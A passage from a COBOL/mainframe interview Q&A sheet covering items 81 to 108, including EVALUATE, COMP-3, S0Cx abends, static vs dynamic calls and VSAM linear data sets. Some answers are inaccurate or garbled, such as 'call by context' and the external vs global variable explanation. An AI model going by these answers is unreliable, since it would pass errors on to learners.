<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN OTHER WHEN OTHER</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">END-EVALUATE END-EVALUATE</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">EVALUATE SQLCODE ALSO A=B EVALUATE SQLCODE ALSO TRUE</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN 100 ALSO TRUE WHEN 100 ALSO A=B</span></p>
<p style="margin-left: 3in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN -305 ALSO FALSE WHEN -305 ALSO (A/C=4)</span></p>
<p style="margin-left: 3in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">END-EVALUATE END-EVALUATE</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">81. Can you use the INSPECT (with TALLYING option) Cobol verb in a CICS COBOL program? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, under COBOL II environment, but not OS/VS COBOL. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">82. What is an explicit scope terminator? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l38 level1 lfo36; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">A scope terminator brackets its preceding verb, eg. IF .. END-IF, so that all statements between the verb and its scope terminator are grouped together. Other common COBOL II verbs are READ, PERFORM, EVALUATE, SEARCH and STRING. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">83. What is the significance of &#8216;above the line&#8217; and &#8216;below the line&#8217;? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Before IBM introduced MVS/XA architecture in the 1980&#8217;s a program&#8217;s virtual storage was limited to 16 megs. Programs compiled with a 24-bit mode can only address 16 MB of space, as though they were kept under an imaginary storage line. With COBOL II a program compiled with a 31 bit mode can be &#8216;above the 16 Mb line. (This &#8216;below the line&#8217;, &#8216;above the line&#8217; imagery confuses most mainframe programmers, who tend to be a literal minded group.) </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">84. What was removed from COBOL in the COBOL II implementation? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Partial list: REMARKS, NOMINAL KEY, PAGE-COUNTER, CURRENT-DAY, TIME-OF-DAY, STATE, FLOW, COUNT, EXAMINE, EXHIBIT, READY TRACE and RESET TRACE. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">85. Explain call by context by comparing it to other calls. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The parameters passed in a call by context are protected from modification by the called program. In a normal call they are able to be modified. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">86. What is the difference between comp and comp-3 usage? Explain other COBOL usages. </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l18 level1 lfo39; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Comp is a binary usage, while comp-3 indicates packed decimal. The other common usages are binary and display. Display is the default. Comp is defined as the fastest/preferred numeric data type for the machine it runs on. IBM Mainframes are typically binary and AS400&#8217;s are packed.&#8217; </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">87. I understand the possible causes for S0C1 &amp; S0C4 abends, but what are they really? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. A S0C1 occurs if the CPU attempts to execute binary code that isn&#8217;t a valid machine instruction; e.g. if you attempt to execute data. A S0C4 is a memory protection violation. This occurs if a program attempts to access storage beyond the areas assigned to it. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">88. What happens when we move a comp-3 field to an edited ( say z(9).zz-) </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The editing characters are to be used with data items with usage clause as display, which is the default. When you try displaying a data item with usage as computational it does not give the desired display format because the data item is stored as packed decimal. So if u want this particular data item to be edited u have to move it into a data item whose usage is display and then have that particular data item edited in the format desired. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">89. What are the causes for S0C1, S0C4, S0C5, S0C7, S0CB abends </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l39 level1 lfo42; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">S0C1 &#8211; May be due to 1.Missing or misspelled DD name 2.Read/Write to unopened dataset 3.Read to dataset opened output 4.Write to dataset opened input 5.Called subprogram not found. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C4 may be due to 1.Missing Select statement(during compile) 2.Bad Subscript/index 3.Protection Exception 4.Missing parameters on called subprogram 5.Read/Write to unopened file 6.Move data from/to unopened file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C5 May be due to 1.Bad Subscript/index 2.Close an unopen dataset 3.Bad exit from a perform 4.Access to I/O area(FD) before read.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C7 may be due to 1.Numeric operation on non-numeric data 2.Un-initialize working-storage 3.Coding past the maximum allowed sub script. S0CB may be due to 1.Division by Zero </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">90. What will happen if you code GO BACK instead of STOP RUN in a stand-alone COBOL program i.e. a program which is not calling any other program. </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l41 level1 lfo45; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Both give the same results when a program is not calling any other program. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">91. What is the difference between an External and a Global Variable &#8217;s? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Global variables are accessible only to the batch program whereas external variables can be referenced from any batch program residing in the same system library. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">92. WHAT IS REPORT-ITEM?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. A REPORT-item is a field to be printed that contains EDIT SYMBOLS </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">93. You are writing report program with 4 levels of totals:city,state,region and country. The codes being used can be the same over the different levels, meaning a city code of 01 can be in any number of states, and the same applies to state and region code show. Do you do your checking for breaks and how do you do add to each level? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo48; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Always compare on the highest-level first, because if you have a break at a highest level, each level beneath it must also break. Add to the lowest level for each rec but add to the higher level only on break. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">94. What is PSB &amp; ACB? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PSB : Program specification block. Inform about how a specific program is to be access one or more IMS DB. It consists of PCB(Prg Communication Block). Information to which segment in DB can be accessed, what the program is allowed to do with those segment and how the DB is to be accessed. ACB : Access Control Blocks are generated by IMS as an expansion of information contained in the PSB in order to speed up the access to the applicable DBD&#8217;s. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">95. What&#8217;s a LDS(Linear Data Set) and what&#8217;s it used for ? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. LDS is a VSAM dataset in name only. It has unstructured 4k (4096 bytes) fixed size CIs which do not contain control fields and therefore from VSAM&#8217;s standpoint they do not contain any logical records. There is no freespace, and no access from Cobol. Can be accessed by DB2 and IMS fast path datasets. LDS is essentially a table of data maintained on disk. The &#8216;table entries&#8217; must be created via a user program and can only be logically accessed via a user program. When passed, the entire LDS must be mapped into storage, then data is accessed via base and displacement type processing. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">96. What is the Importance of GLOBAL clause According to new standards of COBOL </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. When any data name, file-name , Record-name, condition name or Index defined in an Including Program can be referenced by a directly or indirectly in an included program, Provided the said name has been declared to be a global name by GLOBAL Format of Global Clause is01 data-1 PIC 9(5) IS GLOBAL. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">97. What is the Purpose of POINTER Phrase in STRING command </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The Purpose of POINTER phrase is to specify the leftmost position within receiving field where the first transferred character will be stored </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">98.How do we get currentdate from system with century? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. By using Intrinsic function, FUNCTION CURRENT-DATE </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">99.what is the difference between search and search all in the table handling? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Search is a linear search and search all is a binary search. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">100.What is the maximum length of a field you can define using COMP-3? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. 10 Bytes (S9(18) COMP-3). </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">101.How many Sections are there in Data Division?. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. SIX SECTIONS 1.&#8217;FILE SECTION&#8217; 2.&#8217;WORKING-STORAGE SECTION&#8217; 3.&#8217;LOCAL-STORAGE SECTION&#8217; 4.&#8217;SCREEN SECTION&#8217; 5.&#8217;REPORT SECTION&#8217; 6.&#8217;LINKAGE SECTION&#8217;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">In COBOL II, there are only 4 sections. 1.&#8217;FILE SECTION&#8217; 2.&#8217;WORKING-STORAGE SECTION&#8217; 3.&#8217;LOCAL-STORAGE SECTION&#8217; 4.&#8217;LINKAGE SECTION&#8217;.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">102.How can I tell if a module is being called DYNAMICALLY or STATICALLY? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The ONLY way is to look at the output of the linkage editor (IEWL)or the load module itself. If the module is being called DYNAMICALLY then it will not exist in the main module, if it is being called STATICALLY then it will be seen in the load module. Calling a working storage variable, containing a program name, does not make a DYNAMIC call. This type of calling is known as IMPLICITE calling as the name of the module is implied by the contents of the working storage variable. Calling a program name literal (CALL).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">103.What is the difference between a DYNAMIC and STATIC call in COBOL. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. To correct an earlier answer:All called modules cannot run standalone if they require program variables passed to them via the LINKAGE section. DYNAMICally called modules are those that are not bound with the calling program at link edit time (IEWL for IBM) and so are loaded from the program library (joblib or steplib) associated with the job. For DYNAMIC calling of a module the DYNAM compiler option must be chosen, else the linkage editor will not generate an executable as it will expect null address resolution of all called modules. A STATICally called module is one that is bound with the calling module at link edit, and therefore becomes part of the executable load module. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">104.What is the difference between PIC 9.99 and 9v99? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PIC 9.99 is a FOUR-POSITION field that actually contains a decimal point where as PIC 9v99 is THREE-POSITION numeric field with implied or assumed decimal position. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">105.How is PIC 9.99 is different from PIC 9v99? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PIC 9.99 is a four position field that actually contains a decimal point where as 9v99 is a three position numeric field with an implied or assumed decimal point. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">106.what is Pic 9v99 Indicates? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PICTURE 9v99 is a three position Numeric field with an implied or assumed decimal point after the first position; the v means an implied decimal point. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">107.what guidelines should be followed to write a structured COBOL program? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo51; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">1) Use &#8216;EVALUATE&#8217; stmt for constructing cases. 2) Use scope terminators for nesting. 3)Use in-line Perform stmt for writing &#8216;do &#8216; constructions. 4) Use Test Before and test after in the Perform stmt for writing Do-While constructions. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">108.Read the following code. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 ws-n PIC 9(2) value zero. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">a-para. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">move 5 to ws-n. </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">perform b-para ws-n times.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">b-para. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">move 10 to ws-n.</span></p>
